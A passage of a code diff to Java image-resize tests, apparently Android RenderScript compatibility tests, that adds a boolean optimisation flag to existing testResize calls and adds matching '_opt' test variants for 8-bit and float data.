public void test_U8_3_SCALE10_10_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, false);
checkError();
}
public void test_U8_2_SCALE10_10_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, false);
checkError();
}
public void test_U8_1_SCALE10_10_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, false);
checkError();
}
public void test_U8_4_SCALE20_20_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, false);
checkError();
}
public void test_U8_3_SCALE20_20_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, false);
checkError();
}
public void test_U8_2_SCALE20_20_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, false);
checkError();
}
public void test_U8_1_SCALE20_20_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, false);
checkError();
}
public void test_U8_4_SCALE05_20_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, false);
checkError();
}
public void test_U8_3_SCALE05_20_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, false);
checkError();
}
public void test_U8_2_SCALE05_20_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, false);
checkError();
}
public void test_U8_1_SCALE05_20_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, false);
checkError();
}
public void test_U8_4_SCALE20_05_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, false);
checkError();
}
public void test_U8_3_SCALE20_05_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, false);
checkError();
}
public void test_U8_2_SCALE20_05_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, false);
checkError();
}
public void test_U8_1_SCALE20_05_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, false);
checkError();
}
public void test_U8_4_SCALE05_05_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, false);
checkError();
}
public void test_U8_3_SCALE05_05_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, false);
checkError();
}
public void test_U8_2_SCALE05_05_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, false);
checkError();
}
public void test_U8_1_SCALE05_05_inRectangle() {
- testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f);
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, false);
checkError();
}
public void test_F32_4_SCALE10_10_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f, false);
checkError();
}
public void test_F32_3_SCALE10_10_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f, false);
checkError();
}
public void test_F32_2_SCALE10_10_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f, false);
checkError();
}
public void test_F32_1_SCALE10_10_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f, false);
checkError();
}
public void test_F32_4_SCALE20_20_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f, false);
checkError();
}
public void test_F32_3_SCALE20_20_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f, false);
checkError();
}
public void test_F32_2_SCALE20_20_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f, false);
checkError();
}
public void test_F32_1_SCALE20_20_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f, false);
checkError();
}
public void test_F32_4_SCALE05_20_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, false);
checkError();
}
public void test_F32_3_SCALE05_20_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, false);
checkError();
}
public void test_F32_2_SCALE05_20_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, false);
checkError();
}
public void test_F32_1_SCALE05_20_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, false);
checkError();
}
public void test_F32_4_SCALE20_05_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, false);
checkError();
}
public void test_F32_3_SCALE20_05_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, false);
checkError();
}
public void test_F32_2_SCALE20_05_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, false);
checkError();
}
public void test_F32_1_SCALE20_05_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, false);
checkError();
}
public void test_F32_4_SCALE05_05_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, false);
checkError();
}
public void test_F32_3_SCALE05_05_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, false);
checkError();
}
public void test_F32_2_SCALE05_05_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, false);
checkError();
}
public void test_F32_1_SCALE05_05_inSquare() {
- testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f);
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, false);
checkError();
}
public void test_F32_4_SCALE10_10_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f, false);
checkError();
}
public void test_F32_3_SCALE10_10_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f, false);
checkError();
}
public void test_F32_2_SCALE10_10_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f, false);
checkError();
}
public void test_F32_1_SCALE10_10_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f, false);
checkError();
}
public void test_F32_4_SCALE20_20_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f, false);
checkError();
}
public void test_F32_3_SCALE20_20_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f, false);
checkError();
}
public void test_F32_2_SCALE20_20_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f, false);
checkError();
}
public void test_F32_1_SCALE20_20_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f, false);
checkError();
}
public void test_F32_4_SCALE05_20_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, false);
checkError();
}
public void test_F32_3_SCALE05_20_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, false);
checkError();
}
public void test_F32_2_SCALE05_20_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, false);
checkError();
}
public void test_F32_1_SCALE05_20_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, false);
checkError();
}
public void test_F32_4_SCALE20_05_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, false);
checkError();
}
public void test_F32_3_SCALE20_05_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, false);
checkError();
}
public void test_F32_2_SCALE20_05_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, false);
checkError();
}
public void test_F32_1_SCALE20_05_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, false);
checkError();
}
public void test_F32_4_SCALE05_05_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, false);
checkError();
}
public void test_F32_3_SCALE05_05_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, false);
checkError();
}
public void test_F32_2_SCALE05_05_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, false);
checkError();
}
public void test_F32_1_SCALE05_05_inRectangle() {
- testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f);
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, false);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE10_10_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE10_10_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE10_10_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE10_10_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE20_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE20_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE20_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE20_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE05_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE05_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE05_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE05_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE20_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE20_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE20_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE20_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE05_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE05_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE05_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE05_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE10_10_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE10_10_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE10_10_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE10_10_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 1.f, 1.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE20_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE20_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE20_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE20_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 2.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE05_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE05_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE05_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE05_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE20_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE20_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE20_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE20_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_4_SCALE05_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_3_SCALE05_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_2_SCALE05_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_U8_1_SCALE05_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, true);
+ checkError();
+ }
+
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE10_10_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE10_10_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE10_10_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE10_10_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE20_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE20_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE20_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE20_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE05_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE05_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE05_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE05_20_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE20_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE20_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE20_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE20_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE05_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE05_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE05_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE05_05_inSquare_opt() {
+ testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE10_10_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE10_10_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE10_10_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE10_10_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE20_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE20_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE20_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE20_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE05_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE05_20_inRectangle_opt() {
